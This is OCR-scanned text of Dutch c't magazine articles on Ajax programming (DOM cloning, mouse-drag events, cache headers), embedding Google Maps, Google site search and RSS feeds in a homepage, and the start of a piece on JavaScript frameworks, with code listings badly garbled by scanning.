te code is 200, wat betekent dat de gegevens 
goed zijn aangekomen. 

Het op deze manier ophalen van bestan- 
den werkt bij de meeste browsers ook op een 
fokale computer, zodat je ook zonder een 
lokale server en zonder uploaden je scripts 


var refs = FN.ajax.responseXML.getELementsBy/ 

Ta g N am e ("referen tie"); 

Vervoigens wordt deze lus net zo fang door- 
lopen tot de inhoud van de tag <nr> over- 
eenkomt met de variabele nr die bij het aan- 
roepen van het script werd meegegeven: 

for(i =■ 0; i < refs.Length; I++) 

{ 

if (refs[i].getElementsByTagNamernr)[0j.fkrstChild7 
nodeValue == nr) 
f 

var reftext - document,create!extNode(refs[iJ) 
g et Ele m entsByT agN a me{" p' 1 ) [01 .flrstCh I Id. nodeValue); 
FN. refere ntietekst.ap pen dCti ild (reftext); 
return true; 

} 

J 

DOM-perikeien 

Dit werkt zolang het <p>-efement in het refe- 
rentiebestand alleen tekst bevat. Mogeiijker- 
wijs staan er echter ook links of aanwijzingen 
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function kLoonCbron^ doel) 

t 

foHvar 1 = 0; i < brcn.chHdllod«* length; i++) 

( 

var knoop - bran.chiIdhodesti]; 
switch (knoQp.noderype) 

{ 

case 1: // eLeientknoop 

var nieuv = doeUappendChiLd(docu«ent.crHteELeaent(knoop.nodettaie)J; 
for (nr j = 0; j < hoop,attributes.Length; j*+) 

{ 

ni euw.setM tribute knoop.annbut*s[j].nod*Naiie, Inoop.attributesCj]. node Value); 

> 

Moondmoop, ni euw3; 
break; 

case 3: // tekstknoop 

siibknoop = document.createTeKtNadetknoup.nodeVaLue); 
doeLappendChiEdtsuhknoop); 

3 

) 

Een kloon-funetie omzeilt zwakke punten van DOM-functies bij het kopieren van de 
complexe constructies in de webpagina. 


voor een printer in* In dat geval bevat nodeVa- 
lue alleen de tekst tot aan het eerste element 
onder <p>. 

DOM heeft de funetie doneNode(true) voor het 
kopieren van complexe deelstructuren van 
het document, maar de ontstane constructie 
kan niet zonder meer in de webpagina wor- 
den ingevoegd, Dit is op te lossen met de 
hulpfunctie kloon(bron, doel), die zichzelf recur- 
sief oproept (zie listing op deze paginaj* 

De funetie onderzoekt iedere child-node 
van bran en schrijft deze In de variabele kno- 
pen. Als het om een text-node gaat - nodeType 
3 - voegt het script de inhoud eenvoudig toe 
aan doel. Element-nodes - nodeType 1 - worden 
verwerkt door de funetie treateElement, eventu- 
ele attributen worden door setAttribute doorge- 
geven aan doel Vervolgens roept de funetie 
zichzelf opnieuw op om de child-nodes te 
kopieren. 

Er zijn nog een aantal and ere n ode-type n 
(nodeType = 2 komt bijvoorbeeld overeen met 
een attribuut), maar element- en text-nodes 
zijn voldoende voor het dupliceren van een 
XML-structuur* In FN*get_content{nr) zorgt de vol- 
gende regel voor het eenvoudig kopieren van 
de text-nodes: 

kLoon (refs [i] .getElem entsByT agNam e p M ) [01 *7 

doneN ode(true}, FN. referentietekst); 

Opfrissen 

Bij het ex peri men te re n met het referentiebe- 
stand kan het gebeuren dat er in de Internet 
Explorer hetemaal niets verandert. Dat ligt 
aan een andere eigenzmnigheid van de brow¬ 
ser: de caching van bestanden die werden 
ontvangen via GET* 

GeJukktg kunnen de HTTP-headers ge- 
modificeerd worden met Ajax-requests. Het 
volgende commando tussen de regels voor 
het openen en het versturen van een HTTP- 
request omzeilt de I E-cache: 

F N ,ajax*seiReq u estH eadert'If-Modifiect-Since V 'Sat, 1 Jan/ 
2000 00:00:00 GMT ); 

De set-methode heeft 00 k een get-tegenpool; 
get RequestHeaderf header-naam) haalt de waarde van 
een HTTP-head er op; de gehele HTTP-over¬ 
head is te krijgen met getAUResponseHeadersO. 

Event-vol 

De toepassing is dan bijna klaar. Het ontbreekt 
alleen nog aan de mogelijkheid om de refe- 
rentiecontainer te kunnen verschuiven, Om 
dat te kunnen moet het script muis-events in 
de gaten houden. 

Bij events op een website denkje als HTML- 
programmeur meestal nog aan attributen in 
de trant van onmouseover en onload. Het registre- 
ren van events hoort echter in het script thuis 
en met in de HTML-code. JavaSoftpt-event- 
handlers zijn beter geschikt voor dynamische 
scripts, die je aan afzonderlijke elementen 
kunt toewijzen: 

Elementonevent - handler; 


Oat werkt zelfs met oude browsers als Net¬ 
scape 4 (zij het met enkele eigenaardighe- 
den), Het grootste nadeel van dit concept Is 
d at j e voo r i ed ere element- eve ntco m bi natie 
slechts handler kunt registreren. 

Er zijn twee event-modellen die dit kun¬ 
nen verhelpen: een van Microsoft (met de 
funetie attachEventO en detathEventO) en een van 
het W3C (met addEventListenerO en removeEvent- 
UstenerO), wat in DOM Level 2 gespedfioeerd 
is* Tot nu toe raak je daarmee echter van de 
regen in de drup, want alleen Opera onder- 
steunt beide conceptem Gelukkig is voor de 
meeste doelein den het oude re model toe- 
pasbaar en dat is hier 00 k het geval. 

Muisbewegingen 

Als de gebruiker op de muisknop drukt ter- 
wijl de muis zich boven de container bevindt, 
dan moet deze de muisbewegingen volgen 
tot de knop weer losgelaten wordt. Het gaat 
dus om de events mousedown, mousemove en 
mouseup. Het mousedown-event registreer je In 
FN. create!): 

FN*setedermonmousedown = FN.prepare_move; 

De gebrulkelijke haken aan het einde van een 
JavaScript-functieaanroep (FfLprepare_move()) 
ontbreken hier niet toevalfig* Met haken zou 
JavaScript die funetie meteen uitvoeren en 
een onzinnige waarde terugleveren. De op- 
geroepen funetie krijgt als enige functiear- 
gument het getriggerde event mee: 

prepare_move: function(event) 14 

Dit is nodig om te achterhalen wat de posi- 
tie van de muis is: in DOM Level 2 zitten de 
muiscobrdmaten in de kenmerken clsentX en 
clientY van event. Orrtdat de muispositie vaker 
bepaatd zal moeten worden, kun je dat het 
beste overlaten aan de funetie FN.gexposition[): 

var FN = 

{ 

mouseX: 0 , 
mouseY: 0 , 


prepare_move: funaion(event) 

( 

FN*getj>Q 5 itIon(event); 

}/' 

get^position: function (event) 

{ 

FN .mouseX - event. rtientX; 
FN .mouseY = event. clientY; 

} 


in Internet Explorer werkt de constructie met 
de getriggerde event als functieargument 
niet - dat is slechts een van de vele browser- 
incompatibiliteiten in bet JavaSenpt-event- 
object. In plaats daarvan is het resultaat een 
subobject van window, genaamd event. Als tus- 
senoplossing schrijf je dan 00 k in alle func- 
ties die event-eigenschappen nodig heb- 
ben: 

If (levent) var event - window.event; 

Als mousedown zich voordoet, wordt niet al¬ 
leen de muispositie teruggegeven, maar 
worden 00 k de handlers FN.move en FN.stop 
toegekend aan respectively k mousemove en 
mouseup* De stopfunctle verwijdert dan de 
event handlers voor mousemove en mouseup 
weer* 

var FN = 

{ 

prepare_move: function (event) 

{ 

If (levent) var event = window.event; 

FN .g et_posJtion (event); 
documentonmousemove - FN.move; 
documentonmouseup - FN.stop; 

l 

move: function (event) {...} 

stop: functionf) 

i 

documenLonmousemoye = null; 
document.onmouseup = null; 

) 

L 
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Tenslotte ontbreekt alleen nog de functie 
voor het versiepen van de container. Het 
script leest eerst de actuele waarden van de 
stylesheet-gegevens FN.container.styLe.Left en .top 
uit. Daar is helaas nog wel een minder fraaie 
string-operatie voor nodig, omdat er ver- 
plicht 'px f in de waarden staat: 

var contatnerX = parse!nt(FN.container.style,/ 

Left.stice(0 P -2)); 

var containerY = parselnt(fftcontainer.style./ 

top.slice(Or^)); 

De laatste oproep van FM,get_position(} heeft 
de coordinaten van de muEs in FN.mouseX en 
FN.mouseY gezet. Om een beweging te detec- 
teren hoef je dus alleen maar de muispositie 
opnteuw te bepalea het verschil uit te reke- 
nen en het resultaat weer terug te schrijven 
in de stylesheet: 

var moti 5 eX_oLd — FN.mouseX; 
var mouseY_oLd = FN.mouseY; 

FN r get_positi on (event); 

FN,container.style.left = contained + FN.mouseX 7 

mouseX_old + F, px ,r ; 

FN. container.style, top - containerY + FN.mouseY -7 

mouseY_old + "px"; 

Vrije kiir 

Daarmee is het verplichte dee! van het pro- 
gramma achter de rug. De mogelijkheden 
om events te gebruiken nodigen echter uit 
tot wat experimenteren. 

Het zou bijvoorbeeld mooier zijn als de re¬ 
ferences rechtsboven de muispointer tezlen 
zijn in piaats van linksboven in het scherm. 
Om de positie van de muis te achterhalen 
moet het script dat meteen doen zodra er op 
he: document gekiikt wordt: 

document.onclkk - FN.get_position; 

De waarden voor de containerpositie 
FN.container.style, left en .top zijn door FN .created 
samen te stellen uit de positie van de ven- 
steruitsnede (document.dotumentElement.scroLlLeft en 
scrollTop] plus een veilige marge van 10 pixels. 
Tel je daar eenvoudig de muiscoordinaten bij 
op, dan kan het gebeuren dat de container 
het documentvenster breder maakt als de 
aangeklikte reference zich aan de rechterkant 
van het venster bevindt. lets verge lljkbaars 
doet zich voor In verticaie richting, waar je de 
hoogte van de container van de muispositie 
moet aftrekken. De listing op deze pagina 
foont een oplossing voor dit probleem. 

Als het toch al nodig is om muisklikken in 
een document te be waken, kun je 00 k meteen 
de JavaScript-links in het HTML-document af- 
schaffen. Ais identificatie voor een reference 
is het genoeg om een getal in een <sup>H:ag 
te zetten. Daarmee wordt het converteren 
van een HTML-document nog makkelijker. De 
CSS-instructie cursor:pointer verandert de muis¬ 
pointer, als deze boven een <sup>-eiement 
komtalsof dit een link zou zijn. 

je kunt echter niet vaststellen op welk 
HTML-element je gektikt hebt Daarom moet 


var FN - 

f 

louse)!: / / 

■ouse)f: 0, ft 

div_breodte: 350, ft 
divjioogte: 150, ft 
afstandX: ID, it 
afstandf: ID, // 


horizontaLe en ... 
verticals muispositie 
breedte en ... 

hoogte van de referentiecontoiner 
horizontale en ... 

verticals at stand van de iuispointtr 


create: furvctionO 
{ 


var pos 3t - (FK.moiJ5.eX + FN.afstandX t FN.div breedte < window.ionerlcidth |] FN.div breedte + 
FN.afstandO fN.mouseX) ? 

FN.mouseX + FN. afstandX : // rechts van muispointer 

FN.mouseX - FN.div_breedte - FN,afstandX; // links 

var po$_y - (FN.divjoogte + FN.afstandY > FN.mouseY)? 

FN.mouseY t FN.afstandY : // onder muispointer 

FN.mousaY - FN.div_hoogte - FN.afstandV; // er boven 

FN.container.style.Left = document.docuaentELeient.scroLLLeft t posjt + pi ; 

FN.container.style.top - document.documentEleient.scroUTop + posjr * pi ; 

FN. container.style.kidth = FN.diOreetfte + px ; 

FN.container. style, height = FILdi vjioogte + px ; 

) 

get position: function(event) 

{ 

if Clevent) var event = window.event; 

FN.mouseX - event.clientX; 

FN.mouseY = event.clientY; 

} 

) 


document.onclick = FN.getjmition; 


Als de positie van de murs bij het openen van 
dynamisch te plaatsen, 

ieder <sup>-element voor een muisklik gere- 
gistreerd worden. In piaats van het eenvou- 
dige documents ndick kun je dan ook beter de 
handler mst aan de onload-event meegeven: 

window .on load - ink; 

De init-functie doorloopt met behulp van 
document.getElementsByTagNamersup "} alle <sup>- 
elementen* Als de taginhoud uit een getal 
bestaat, wordt deze geregistreerd voor een 
ondJck-event, 

De directe aanroep van de functie referentie(nr) 
blokkeert dit echter, omdat event-handlers 
geen functieargumenten mogen hebben. Dit 
kan opgelost worden door met new Function voor 
ieder event een nieuwe functie te maken: 

function initQ { 

var sups - docu me n t.getE Lemen ts ByT a g Name ("sup"); 
if (Isups) return false; 
for (var i = 0 ; i < sups.length; i++j 
! 

var sup - pa rsel n t(su ps [ i 1 .frrstCh tld. nod eVa Lue); 
if (sup 1= null && NsNaN(sup)) 

{ 

supsESJ .onclick = new Function [’event 11 , "FN,/ 
g exposition (event); referentieC + sup + "); rl ); 

) 

1 

1 

Condusie 

Ajax-toepassingen zelf programmeren is 
geen triviale aangelegenheid, De problemen 
zitten niet zozeer in het XMLHttpRequest- 
object, maar bij de vele interfaces tussen 


de container bekend is, is de referentie 


HTML-document en scripts. Aan de ene kant 
bevinden zich de ooit innovatieve DHTML- 
aanzetten van de Internet Explorer, die zich 
Sangzamerhand tot verouderde eilandop- 
losslngen ontwikkelen. Aan de andere kant 
staan de even krachtige als compfexe W3C- 
standaarden, die Microsoft slechts schoor- 
voetend toepast. Ook al is de incompatibF 
liteit tussen browsers niet meer zo groot als 
aan het elnde van de jaren 90, een Ajax-toe- 
passing is pas goed als deze is getest op de 
belangrijkste browserengtnes, 

De voorbeeldtoepassing mag er misschien 
niet bijzonder spectaculair uitzien, er zitten 
wel veel essentiele technieken in. Als je een- 
maal een gevoel hebt gekregen voor wat er 
inmiddels op het gebied van webontwikke- 
ling mogelijk is, wordt het pas echt leuk. Met 
XMLHttpRequest en DOM kun je databronnen uit- 
lezen, maar deze combinatie is ook bruikbaar 
om te schrijven of te uploaden. Om toegang 
te krijgen tot externe gegevens als webservi- 
ces is helaas wel een proxy nodig. 

Een toepassing als het voorbeeld hele- 
maal zeif programmeren is niet in de sttjl van 
Web 2.0. Een webontwikkelaar 2.0 zaf probe- 
ren om een bestaande applicatie aan te pas- 
sen of, als die er niet is, om een framework te 
gebruiken waarin al veel van de moetzaam 
overwonnen basistechnieken in makkelijke 
functies worden aangeboden. (nkr) 

Literatuur 
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AJAX | Web 2.0 voor je eigen homepage 


Jo Bager 

Speel mee in 
het sociale web 


Betere homepages met Web 2.0 



Web 2.0 is niet aileen voorbehouden aan Flickr, Hyves, Yunoo 
en andere pastelkleurige sites met onuitspreekbare namen. 
Integendeel: zelfs jouw pagina's kunnen beter worden met Web 
2.0-tech niek. Er zijn veel aanbieders met content en services die 
je op je eigen pagina kunt gebruiken. 
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AJAX | Web 2.0 voor je eigen homepage 


E r is al veel geschreven over het fe- 
nomeen Web 2.0 en hoe internet de 
mensheid heeft veranderd, Maar wat 
heeft zo’n modewoord te maken met jouw 
website? Door al die dlscussles over de zin 
en onzin van Web 2.0 is men een beetje 
vergeten dat ereen aantal uitermate nutti- 
ge diensten en toepassingen zijn. Je hoeft 
alleen maar de juiste te klezen en die in je 
websites in te bouwen. 

Daar hoef je eeht geen AJAX-program- 
meur voor te zijn of met programmeer- 
frameworks te gaan worstelen. Veel func- 
ties kun je met minimale kennis makkelijk 
inbouwen. Het is vaak at voldoende om 
de code van de aanbieder a I knippend en 
plakkend aan de broncode van je home- 
page toe te voegen. 

Goede kaarten 

Het beste voorbeeld is Google Maps. Met 
een duidelijke kaart of routebeschrijving 
naar je bedrijf maak je een goede eerste 
indruk op zakelijke partners. Als je een 
scan van een papieren plattegrond op je 
homepage publfceert, loop je het risico dat 
de maker van die kaart daar geld voor wil 
zien. Googles kaartdienst bled: makkelijk 
te gebruiken vector- en satellietkaarten, 
die bovendien gratis zijn, 

Er zijn echter oak een aantal toepas- 
singen voor Google Maps, die Google ver- 
biedt. Hieronder vallen diensten waarvoor 
je geld vraagt, of bijvoorbeeld het laten 
zien van plaatsen voor illegaie activiteiten 
C'...you will not ...(m) promote or provide 
instructional information about illegal acti¬ 
vities"). In geval van twijfel moet je even de 
gebruiksvoorwaarden (Terms of Service) 
doornemen. Het gebruik als routeplanner 
voor openbare locaties staat Google daar- 
entegen expJiciet toe. 


Als je een Google Maps-kaart op je home- 
page wilt publiceren, heb je daar een gratis 
zogenaamde API-sleutel voor nodig, een 
unieke sleutel die bij de toegang tot de API 
wordt meegezonden, Ook voor deze sleu¬ 
tel is een (gratis) Google Account nodig. 
Zo f n sleutel maak je binnen een paar mi- 
nuten aan, zonder prive-gegevens op te 
hoeven geven. Een Google Maps APi-key is 
altijd maar voor een domein geldig H maar 
met een account kun je oneindig veel sleu- 
tels aanmaken. 

Als de Google Maps API-key is aange- 
maakt, kun je meteen aan de slag, Stati- 
sche kaarten vormen de makkeiijkste optie 
om plattegronden in te voegen, Een stati- 
sche kaart is met meer dan een plaatje: de 
bezoeker kan dit ook bekijken zonder dat 
JavaScript ingeschakeld is. Als webmaster 
integreer je dat via een link als deze: 

<img src^ M http://maps.google.com/statScmap?center= 
51.810419,5.79 43 44&am p;sp n=0.03 3485,0.055704 
Samp ;zoom=13 &a m p; s izeMOQx 3 QG£ a m p; key— 

API_key_hier M aLt^'ait-tekst hier" /> 

Passend maken 

Deze voorbeeldkaart is 400 x 300 pixels 
groot. De twee met een komma gescheiden 
waarden voor de parameter 'center* zijn de 
coordinaten. De kaart in ons voorbeeld is 
ongeveer geoentreerd op de locatie van de 
ultgever van c't magazine, F&L Publishing 
Group. Om de cobrdlnaten voor je eigen 
plaats te vinden, navigeer je bij Google 
Maps naar de gewenste plek. Rechts boven 
op de pagina vind je een verwijztng die als 
link’ wordt aangeduid. Als je hierop klikt 
krijg je een code in de vorm van 

http://maps.google,com/?[e=UTf 8&Ll=51,810419, 

5.7 94344&sp n—0.033485,0.055 704&Z=13 


voorgeschoteld. De parameter 11 bevat de 
coordinates 

Dynamische kaarten zijn durdelijk veel- 
zijdiger. Als bezoeker kun je er bijvoor¬ 
beeld op inzoomen en de uitsnede ver- 
schuiven. Deze kaarten vereisen echter wel 
dat de bezoeker in zijn browser JavaScript 
heeft ingeschakeld. De code die je links op 
pagina 81 zlet is de brontekst van de dyna¬ 
mische tegenhanger van de kaart boven. 
Bezoekers die JavaScript hebben uitge- 
schakeld, zien de verwijzing uit regel 22 . 

Bij de opgave van het middelpunt van de 
kaart met het commando map.setCenter kun 
je meteen ook de zoomfactor aanpassen. 
Waarde 14 in onze fisting staat voor een 
kaartuitsnede ter grootte van ongeveer 
een wijk, Hogere waarden zorgen voor een 
kleinere uitsnede en lagere waarden voor 
een grotere uitsnede. De waarden voor de 
zoomfactor kunnen van 0 tot 17 gaan. 

Zonder de regels 10 en 11 zou de listing 
aileen een kaart zonder bedieningsele- 
menten weergeven. Het eerste commando 
laat de regelaar voor het zoomniveau zien, 
de tweede de selectieknoppen voor de 
weergavemodus (kaart-, satellietbeeld of 
de combinatie hiervan). Een nuttige toe- 
voeging op de kaart zijn de zogenaamde 
markers - de welbekende viaggetjes die 
punten op de kaart kenmerken. De func- 
tie new GMarker zorgt voor het in voegen van 
deze markers in een kaart. Google Maps 
biedt nog een heleboel andere optles 
waarmee je de kaarten individueel kunt 
aanpassen. 

Zoeken vind! 

De zoekfunctie op een website is vaak een 
ondergeschoven kindje. Vaak wordt de 
index niet regelmatig bijgewerkt of is er 
helemaal geen zoekmogelfjkheid. Google 




Een plattegrond doet het altijd goed als service voor klanten en 
za ken partners. 


Met markers kun je beiangrijke plekken uitlichten en van opmer- 
kingen voorzien, bijvoorbeeld een reisadvies. 
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biedt daar met de AJAX Search API ook een 
oplossing voor. Hiermee bouw je makkelijk 
een zoekfunctie in bestaande pagina's in. 

Net als bij de Maps-API mag je ook de 
zoek-API met zomaar op al je pagina's zet- 
ten: webpagina’s met betaalde content vts- 
sen bijvoorbeeld achter het net. Dergelijke 
pagina's zijn voor de Google-robot niet 
bereikbaar om te indexeren en je vindt ze 
dan ook niet in de normale Google-index 
terug. Verder verloopt de procedure het- 
zelfde als voor Google Maps: de webmas¬ 
ter heeft een Google-account nodig en 
faat een Google AJAX Search APi-key ge- 
nereren. Google levert voorbeeldcode die 
de webmaster voor zijn website kan aan- 
passen. 

tn het voorbeeld op pagina 81 rechts 
zie je een voorbeeld dat beperkt is tot het 
zoeken in de teksten op een website. In 
principe zijn ook andere zoekopdrachten 
mogelijk, bijvoorbeeld het zoeken op het 
hele internet, het zoeken van afbeeldin- 
gen, blogs et cetera. Het commando site- 
Search.setSiteRestrictionC) zorgt ervoor dat het 
zoeken beperkt blijft tot de pagina's van 
de eigen website - zonder dit commando 
zou het zoeken tot resultaten vanuit het 
hele internet leideru Het formulier en de 
resultaten kun je aan de site aanpassen - 
de documentatie in de ontwikkelaarssectie 
van Google laten zten hoe. 


Het zoeken via Google op je eigen website 
is natuurlijk alleen zinvoi als Google die 
ook compleet heeft geTndexeerd. Web¬ 
masters kunnen Googfe op verschiliende 
mameren Inlichten over nieuwe pagina's. 
De zoekmachine-exploitant biedt bijvoor¬ 
beeld een formulier aan om afzonderiljke 
url s voor het indexeren aan te melden. 
Voor eigenaren van grotere sites biedt 
Google in zijn webmastertools een aantal 
tools aan om sitemaps te genereren. Hier- 
mee hebben zoekmachlnerobots dan min¬ 
der moeite om alie pagina’s van een site te 
vinden. 

Gereedschapskist 

Het integreren van Google Maps en het 
zoeken met AJAX zijn nog maar twee voor- 
beelden van het gigantische aantal Web 
2 ,0-diensten die op je eigen webpagina r s 
te gebruiken zijn. Op dezelfde manier als 
bij de kaarten en het zoeken kan iedereen 
data uit Google Agenda in zijn pagina’s 
opnemen om bijvoorbeeld een evenemen- 
tenkalenderte publiceren, Er zijn inmiddels 
meer dan duizend diensten beschikbaar 
die via een programmeerinterface gebruikt 
kunnen worden, ProgrammableWeb.com 
geeft een goed overzicht van webdiensten 
die een API aanbieden, maar ook van de 
mashups die hiermee gemaakt zijn. 

En er is voor elk wat wils: 
stock.xchng biedt bijvoor¬ 
beeld honderdduizenden 
afbeeldingen en YouTube 
talloze video's die webmas¬ 
ters gratis in hun websites 
mogen inbedden, Beide 
diensten zijn ook gesehikt 
om je eigen multi mediacom 
tent in op te bergen, als je 
bijvoorbeeld bang bent dat 
bij grote piaatjesverzame- 
frngen de maximale datali- 
miet van je account wordt 
overschreden of als je Web¬ 
server geen streaming data 
kan leveren. 

De auteurs van Open Di¬ 
rectory hebben hun linkver- 
zameling onder een open 
licentie geplaatst, net als de 
Wikipedianen hun artlkelen 
in de online encyctopedle. 
Waarom zou je dus niet 
je eigen pagina's met een 
goed gesorteerde linkverza- 
meling of enkele teksten uit 
de online-referentie opleu- 
ken? Je moet teksten vbbr 
het overnemen we! voor je 
eigen publiek aanpassen, 
bijvoorbeeld door a I te ult- 
voerig e Wi ki ped ia -a rtlkden 
tn te korten. Zoekmachines 
vinden het bovendien niet 
ieuk als je artikelen uit an' 
dere bronnen een-op-£en 
overneemt. 


De grootste bulk aan interessante inhoud 
komt van blogs en talloze nieuwssites in 
de vorm van R5S- en Atom-feeds. Je kunt 
RSS-bestanden - mils de aanbieder daarin 
toestemt - makkelijk op je eigen pagina 
weergeven. Zoekmachines als Techno- 
rati of Googles blogzoekdienst helpen om 
feeds te vinden waarvan de inhoud bij je 
eigen site past. 

Veel contentmanagementsystemen kun¬ 
nen externe RSS-feeds in je eigen pagina’s 
inbouwen, zoals het in de c’t-webontwlk- 
keiomgeving opgenomen Drupal (zie p, 
106). Je kunt dat makkelijk via de browser 
beheren. Om in Drupal externe RSS-feeds 
weer te geven, schakel je als administrator 
In het menupunt ’Modules’ de module 'Ag¬ 
gregator 1 in en kies je daarna bij het menu 
punt Blokken 1 een gebled op je homepage 
waar die getoond moet worden. Tensiotte 
kun je bij de menuoptle 'Feed-aggregator 1 
de adressen van feeds die je op je website 
wilt weergeven opgeven. 

Doe-het-zelf 2*0 

Met de mogelijkheid Web 2X)-inhoud en 
-diensten toe te voegen ben je er als web¬ 
master behoorlijk op vooruitgegaan. Je 
kunt tegenwoordig je eigen aanbod aan- 
vulfen met interessante informatie en zo je 
site voor bezoekers aantrekkelijker maken. 
Om volledig deel te nemen aan Web 2.0 
moet je echter zelf ook actief zijn, je eigen 
inhoud genereren en die voor lezers aan¬ 
bieden, Het is beter om in plaats van de 
RSS-inhoud een-op-een door te geven 
zoals die wordt aangeleverd, de berichten 
te selecteren en er kort commentaar op te 
geven. Nog beter is het natuurlijk als je je 
eigen gedachten en belevenissen in een 
weblog iaat zien. Het is aan te bevelen te 
zorgen voor een commentaar- of reactie- 
systeem, zodat bezoekers kunnen mefden 
wat ze er van vinden* 

Voora! als je een kleine site hebt, kan 
het zijn dat je de moeite die je ervoor moet 
doen al snel te veel vindt. Het kost mnmers 
tijd om regelmatig zelf te bloggen of be¬ 
richten in het forum door te kijken. Maar al¬ 
leen met eigen content heb je een kans om 
je pagina een eigen gezicht te geven, wat 
nodig is om op te vallen in de onmetefijke 
hoeveelheid informatie op het Internet. 

Je hoeft helemaal niet meteen de we- 
reldpolitiek te becommentarieren of de 
absolute goeroe op een onderwerp te zijn 
om een succesvolle blog te hebben, Soms 
is het a! voidoende om je dagelijkse be- 
slommeringen te melden. 

Links helpen 

In trekken van aandacht zijn links in de 
Web 2.0-wereld essentieel. EJke link naar 
je eigen pagina's biedt kansen op nieuwe 
bezoekers. Een link naar een interessant 
blogberlcht kan zich, mits opgenomen in 
een populaire blog, als een olievlek over 
de gehele blogosfeer verspreiden. Op die 


ekei 


handhygiene 


Zoeken 


mogelijk gemaakt door Goodie 
^gewoonhandenschoon,nl p~T gfinrl 
Waarom hand hygiene - Gewoon Hand an 

Een goede handhygiene door 
zorg medewerkers wordt beschouwd als de 
meest effectieve manier om 
ziekenhuisinfecties te voorkomen. ... 

www, gewoonhandenschoon.nl 

Bpreekuur seksualiteit en soa’s bij 

Handhygiene is 'hot 1 , Veel aandacht was 

er vorig jaar in de media voor het feit ... van 
ziekenhuisinfecties is het onvoidoende 
toepassen van handhygiene, ... 

www, gewoonhandenschoon. nl 

Nieuws - Gewoon Handen Schoon 

Uit onderzoek biijkt dat veel medewerkers in 
de zorg niet precies weten hoe het zit met 
de regels voor handhygiene. Er is met 
name onduidelijkheid over ... 

w ww. gewoonhandenschoon, nl 

Project - Gewoon Handen Schoon 

De jaariijks ongeveer 7D.Q00 
ziekenhuisinfecties zijn deels te voorkomen 
als medewerkers in de zorg de voorschriften 
voor handhygiene beter naleven, ,,, 

www.gewoonhandenschoon.nl 


Met Googles Search-API kun je een lokale zoekfunctie 
voor een website toevoegen. 
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01 <kit»i> 

02 < h e a d> 

03 <script src="'http://maps.google.coiB/raaps?filE=apifianip;/ 

v=2^amp;lcey=hier_iuuu_sLeuteL£ht=ciL" type=“text/javascript"> 
04 </script> 

05 script type~ lr Uxt/javascript 1 ^ 

06 function loadQ { 

07 If CGBrawserlsCcmpstibleO) { 

0B var nap = new 6Hap2tdocuient.gettleientByIdt ,, «i3p ,d }J; 

09 var point - new GLatLng(51.814419,5.799344); 

10 map.add Controltnew GHapTypsControL£)); 

11 map.addControKneu GEmaUiMapControl.()); 

12 map.sotCentertpofnt, 14); 

13 var narker = new Marker (point); 

14 map.addOverlayfmarker); 

15 ) 

16 } 

17 </script> 

IB <7head> 

19 

20 <body oirLoad-'UoadO 11 onunload="SUnlo3dU lp > 

21 <diu id="map" style= M uidth: 4QDpx; height: 50Qpx ,f > 

22 <ti 1 >Ac1 1 veer JavaScript in je browser om de kaart te/ 

fcunnerr zien.</hl> 

23 </div> 

24 </body> 

25 <1 htil> 


Met enkele regels JavaScript wordt een kaart van Google Maps 
aan je homepage toegevoegd. 


01 

02 <head> 

03 script src= l> http://www.googLe.com/jsapi?key= / 

hier_jouu_sleutel" type-"text/javascript Jl > 

04 <7script> 

05 <scnpt Language^Javascript" type="t-fext/Javascript"> 

06 croogke, Load(' l £earch l V "t% {"language" : "nl"}); 

07 function OnLoadO ( 

08 var searchCon trot = new google.search.SearchContrott); 

09 vsr sitESearch = neu google..search.WebSearchO; 

10 siteSearch. setUserDef i ned Labe Lf’fiaam^eti site"); 

11 siteSearch. si tllserDef inedClaasSuff ixT"siteSearcii' f ); 

12 EiteSearch,setSfceResirictioriC n dcjm*irirnaarti.nL ,l >; 

13 search Centrol.addSearchertsiteSearch); 

14 searchConUoL.drawidocuient.getElementByld ; 

£ "searchcontrot' 1 )); 

15 } 

16 googLe.setOnLoadCaLLhackCOnload); 

17 </script> 

IB </h e 3 d > 

19 

20 <hody> 

21 <dfv id="searchcDntroL"?Loading...</di 

22 <7body> 

23 <7htil> 


Het commando slteSea rch .setSite Restrictio n() zorgt ervoor dat er alleen 
op je eigen site gezocht wordt. 


manier komen weblogs aan nieuwe fezers. 
Links zijn echter ook belangrijk bij de ran- 
king van zoekmachines. Zoekmachines 
houden van links. Anders gezegd: sites met 
veel backllnks komen hoger in de zoekre- 
sultaten dan sites zonder backllnks. 

Het maakt niet uit welk blog- 
platform je gebruikt - Word- 
Press, Movable Type of een 
webloghoster - je moet alle 
linkopties gebruiken die de bio- 
gosfeer je biedt Veel weblog- 
systemen kunnen bijvoorbeeld 
automatisch een ping-signaa! 
naar servers als technorati.com 
sturen zodra een nieuw berlcht 
gepost wordt Deze populaire 
site maakt een lijst van alle re- 
centelijk geactualiseerde sites 
met links. Ook het trackback- 
mechanisme helpt bij het net- 
werken in de blogosfeer. 

Er zijn steeds meer blogs 
waar je onder de gebrulkelijke 
meta-informatie aan het einde 
van een bericht een lijst van 
symbolen of een lijst van soda- 
le bookmarkdiensten zoals deL 
icio us of Mister Wong vindt. 

Een bookmark naar deze voor 
iedereen bereikbare Hnkver- 
zamelingen levert echter ook 
extra backlinks op en daarmee 
kun je dus ook extra bezoe- 
kers naar je website trek ken. 

Hoe bekend en populair deze 
toevoegllnks bij veel weblogs 
ook zijn: bij zakelijke sites is 
het waarschijnlijk een tikkeltje 
overdreven als je elke pagina 
van zo r n blok voorziet. 

Als je bij een van de sod- 
ale bookmarkdiensten gelinkt 
bent, kun je daar zoeken op 


sites die qua thema met jouw website ver- 
gelijkbaar zijn om daar links mee uit te wis- 
selen of wederzijdse links toe te voegen. 
Zo'n linkuitwisseting loont bijzonder met 
vergelijkbare sites, omdat zoekmachines 
bij de ranking niet alleen kijken naar het 


aantal links die naar een site verwljzen, 
maar ook of die met het onderwerp te 
maken hebbem (nkr) 

( Softlink09WD078 



In het CMS Drupal is het heel makkelijk om RSS-feedstoe te voegen aan je homepage, een paar keer 
klikken, de adressen opgeven, de juiste plaats op de pagina bepalen en klaar. Cflt 
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Herbert Braun 


JavaScript- 
goocheldozen 

Frameworks voor Ajax-applicaties en website-effecten 

Je kunt Ajax-applicaties en leuke JavaScript-effecten moeizaam met de hand 
coderen, maar je kunt ook het een of andere JavaScript-framework nemen. 
Met een paar handige functies bespaar je dan uren programmeerwerk. 
Bovendien zijn ze nog bijna allemaal gratis ook. 


D e Ajax-en JavaScript-toolkits omvat- 
ten het hele scala aan programmeer- 
hulp, van kleine scriptverzamelingen 
tot megabytes grote totaaloplossingen. De 
grote gemene deler is wel dat complexe 
functies daarbij in simpele methoden wor- 
den verpakt, die met alle moderne brow¬ 
